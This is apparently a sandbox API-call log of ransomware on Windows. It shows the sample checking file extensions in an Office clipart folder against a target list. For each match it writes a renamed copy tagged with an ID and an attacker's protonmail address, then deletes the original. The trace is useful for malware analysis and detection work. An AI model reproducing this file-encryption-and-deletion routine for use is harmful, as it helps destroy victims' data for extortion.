	[0180.282] lstrlenW (lpString=".xls") returned 4
	[0180.282] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0180.282] lstrlenW (lpString=".xlsx") returned 5
	[0180.282] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0180.282] lstrlenW (lpString=".ppt") returned 4
	[0180.282] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0180.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68
	[0180.282] lstrlenW (lpString=".zip") returned 4
	[0180.282] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0180.282] lstrlenW (lpString=".rar") returned 4
	[0180.282] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0180.282] lstrlenW (lpString=".bz2") returned 4
	[0180.282] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0180.282] lstrlenW (lpString=".7z") returned 3
	[0180.282] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0180.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68
	[0180.282] lstrlenW (lpString=".dbf") returned 4
	[0180.282] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0180.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68
	[0180.282] lstrlenW (lpString=".1cd") returned 4
	[0180.282] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0180.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68
	[0180.282] lstrlenW (lpString=".jpg") returned 4
	[0180.282] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0180.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68
	[0180.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68
	[0180.282] lstrlenW (lpString=".doc") returned 4
	[0180.282] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0180.282] lstrlenW (lpString=".docx") returned 5
	[0180.283] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0180.283] lstrlenW (lpString=".pdf") returned 4
	[0180.283] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0180.283] lstrlenW (lpString=".xls") returned 4
	[0180.283] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0180.283] lstrlenW (lpString=".xlsx") returned 5
	[0180.283] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0180.283] lstrlenW (lpString=".ppt") returned 4
	[0180.283] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0180.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68
	[0180.283] lstrlenW (lpString=".zip") returned 4
	[0180.283] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0180.283] lstrlenW (lpString=".rar") returned 4
	[0180.283] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0180.283] lstrlenW (lpString=".bz2") returned 4
	[0180.283] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0180.283] lstrlenW (lpString=".7z") returned 3
	[0180.283] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0180.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68
	[0180.283] lstrlenW (lpString=".dbf") returned 4
	[0180.283] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0180.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68
	[0180.283] lstrlenW (lpString=".1cd") returned 4
	[0180.283] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0180.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68
	[0180.283] lstrlenW (lpString=".jpg") returned 4
	[0180.283] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0180.283] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0180.284] lstrlenW (lpString="J0086478.WMF") returned 12
	[0180.284] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086478.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4
	[0180.284] GetFileSizeEx (in: hFile=0x5b4, lpFileSize=0x3a0ff14 | out: lpFileSize=0x3a0ff14*=14174) returned 1
	[0180.284] CloseHandle (hObject=0x5b4) returned 1
	[0180.284] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086478.wmf")) returned 0x220
	[0180.284] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086478.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0180.285] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086478.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4
	[0180.285] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.285] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.285] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086478.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0180.286] GetLastError () returned 0x0
	[0180.286] ReadFile (in: hFile=0x5b4, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x375e, lpOverlapped=0x0) returned 1
	[0180.290] WriteFile (in: hFile=0x4a8, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0x3760, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0x3760, lpOverlapped=0x0) returned 1
	[0180.292] ReadFile (in: hFile=0x5b4, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0180.292] WriteFile (in: hFile=0x4a8, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0180.292] SetEndOfFile (hFile=0x4a8) returned 1
	[0180.292] CloseHandle (hObject=0x4a8) returned 1
	[0180.292] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.292] SetEndOfFile (hFile=0x5b4) returned 1
	[0180.295] CloseHandle (hObject=0x5b4) returned 1
	[0180.295] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0181.146] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086478.wmf")) returned 1
	[0181.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68
	[0181.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68
	[0181.147] lstrlenW (lpString=".doc") returned 4
	[0181.147] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0181.147] lstrlenW (lpString=".docx") returned 5
	[0181.147] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0181.147] lstrlenW (lpString=".pdf") returned 4
	[0181.147] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0181.147] lstrlenW (lpString=".xls") returned 4
	[0181.147] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0181.147] lstrlenW (lpString=".xlsx") returned 5
	[0181.147] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0181.147] lstrlenW (lpString=".ppt") returned 4
	[0181.147] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0181.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68
	[0181.147] lstrlenW (lpString=".zip") returned 4
	[0181.147] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0181.147] lstrlenW (lpString=".rar") returned 4
	[0181.147] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0181.147] lstrlenW (lpString=".bz2") returned 4
	[0181.147] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0181.148] lstrlenW (lpString=".7z") returned 3
	[0181.148] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0181.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68
	[0181.148] lstrlenW (lpString=".dbf") returned 4
	[0181.148] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0181.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68
	[0181.148] lstrlenW (lpString=".1cd") returned 4
	[0181.148] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0181.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68
	[0181.148] lstrlenW (lpString=".jpg") returned 4
	[0181.148] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0181.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68
	[0181.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68
	[0181.148] lstrlenW (lpString=".doc") returned 4
	[0181.148] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0181.148] lstrlenW (lpString=".docx") returned 5
	[0181.148] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0181.148] lstrlenW (lpString=".pdf") returned 4
	[0181.148] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0181.148] lstrlenW (lpString=".xls") returned 4
	[0181.148] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0181.148] lstrlenW (lpString=".xlsx") returned 5
	[0181.148] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0181.148] lstrlenW (lpString=".ppt") returned 4
	[0181.148] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0181.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68
	[0181.148] lstrlenW (lpString=".zip") returned 4
	[0181.148] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0181.148] lstrlenW (lpString=".rar") returned 4
	[0181.148] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0181.148] lstrlenW (lpString=".bz2") returned 4
	[0181.149] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0181.149] lstrlenW (lpString=".7z") returned 3
	[0181.149] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0181.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68
	[0181.149] lstrlenW (lpString=".dbf") returned 4
	[0181.149] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0181.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68
	[0181.149] lstrlenW (lpString=".1cd") returned 4
	[0181.149] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0181.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68
	[0181.149] lstrlenW (lpString=".jpg") returned 4
	[0181.149] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0181.149] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0181.149] lstrlenW (lpString="J0099146.WMF") returned 12
	[0181.149] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099146.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0183.294] GetFileSizeEx (in: hFile=0x514, lpFileSize=0x3a0ff14 | out: lpFileSize=0x3a0ff14*=16596) returned 1
	[0183.294] CloseHandle (hObject=0x514) returned 1
	[0183.294] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099146.wmf")) returned 0x220
	[0183.294] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099146.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0183.297] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099146.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0183.297] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.298] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.298] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099146.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0183.298] GetLastError () returned 0x0
	[0183.298] ReadFile (in: hFile=0x514, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x40d4, lpOverlapped=0x0) returned 1
	[0183.301] WriteFile (in: hFile=0x36c, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0x40e0, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0x40e0, lpOverlapped=0x0) returned 1
	[0183.302] ReadFile (in: hFile=0x514, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0183.303] WriteFile (in: hFile=0x36c, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0183.303] SetEndOfFile (hFile=0x36c) returned 1
	[0183.303] CloseHandle (hObject=0x36c) returned 1
	[0183.303] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.303] SetEndOfFile (hFile=0x514) returned 1
	[0183.307] CloseHandle (hObject=0x514) returned 1
	[0183.307] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0183.307] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099146.wmf")) returned 1
	[0183.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68
	[0183.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68
	[0183.308] lstrlenW (lpString=".doc") returned 4
	[0183.308] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0183.308] lstrlenW (lpString=".docx") returned 5
	[0183.308] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0183.308] lstrlenW (lpString=".pdf") returned 4
	[0183.308] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0183.308] lstrlenW (lpString=".xls") returned 4
	[0183.308] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0183.308] lstrlenW (lpString=".xlsx") returned 5
	[0183.308] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0183.308] lstrlenW (lpString=".ppt") returned 4
	[0183.308] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0183.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68
	[0183.308] lstrlenW (lpString=".zip") returned 4
	[0183.308] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0183.308] lstrlenW (lpString=".rar") returned 4
	[0183.309] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0183.309] lstrlenW (lpString=".bz2") returned 4
	[0183.309] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0183.309] lstrlenW (lpString=".7z") returned 3
	[0183.309] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0183.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68
	[0183.309] lstrlenW (lpString=".dbf") returned 4
	[0183.309] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0183.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68
	[0183.309] lstrlenW (lpString=".1cd") returned 4
	[0183.309] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0183.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68
	[0183.309] lstrlenW (lpString=".jpg") returned 4
	[0183.309] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0183.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68
	[0183.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68
	[0183.309] lstrlenW (lpString=".doc") returned 4
	[0183.309] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0183.309] lstrlenW (lpString=".docx") returned 5
	[0183.309] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0183.309] lstrlenW (lpString=".pdf") returned 4
	[0183.309] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0183.309] lstrlenW (lpString=".xls") returned 4
	[0183.309] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0183.309] lstrlenW (lpString=".xlsx") returned 5
	[0183.309] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0183.309] lstrlenW (lpString=".ppt") returned 4
	[0183.309] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0183.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68
	[0183.309] lstrlenW (lpString=".zip") returned 4
	[0183.309] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0183.309] lstrlenW (lpString=".rar") returned 4
	[0183.310] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0183.310] lstrlenW (lpString=".bz2") returned 4
	[0183.310] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0183.310] lstrlenW (lpString=".7z") returned 3
	[0183.310] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0183.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68
	[0183.310] lstrlenW (lpString=".dbf") returned 4
	[0183.310] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0183.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68
	[0183.310] lstrlenW (lpString=".1cd") returned 4
	[0183.310] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0183.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68
	[0183.310] lstrlenW (lpString=".jpg") returned 4
	[0183.310] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0183.310] lstrcmpiW (lpString1=".JPG", lpString2=".html") returned 1
	[0183.310] lstrlenW (lpString="J0099150.JPG") returned 12
	[0183.310] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099150.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0183.311] GetFileSizeEx (in: hFile=0x514, lpFileSize=0x3a0ff14 | out: lpFileSize=0x3a0ff14*=21914) returned 1
	[0183.312] CloseHandle (hObject=0x514) returned 1
	[0183.312] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099150.jpg")) returned 0x220
	[0183.312] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099150.jpg.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0183.312] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099150.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0183.312] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.312] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.312] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099150.jpg.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0183.313] GetLastError () returned 0x0
	[0183.313] ReadFile (in: hFile=0x514, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x559a, lpOverlapped=0x0) returned 1
	[0183.316] WriteFile (in: hFile=0x36c, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0x55a0, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0x55a0, lpOverlapped=0x0) returned 1
	[0183.319] ReadFile (in: hFile=0x514, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0183.319] WriteFile (in: hFile=0x36c, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0183.319] SetEndOfFile (hFile=0x36c) returned 1
	[0183.319] CloseHandle (hObject=0x36c) returned 1
	[0183.319] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.319] SetEndOfFile (hFile=0x514) returned 1
	[0183.322] CloseHandle (hObject=0x514) returned 1
	[0183.322] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0183.323] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099150.jpg")) returned 1
	[0183.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68
	[0183.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68
	[0183.324] lstrlenW (lpString=".doc") returned 4
	[0183.324] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0183.324] lstrlenW (lpString=".docx") returned 5
	[0183.324] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1
	[0183.324] lstrlenW (lpString=".pdf") returned 4
	[0183.324] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0183.324] lstrlenW (lpString=".xls") returned 4
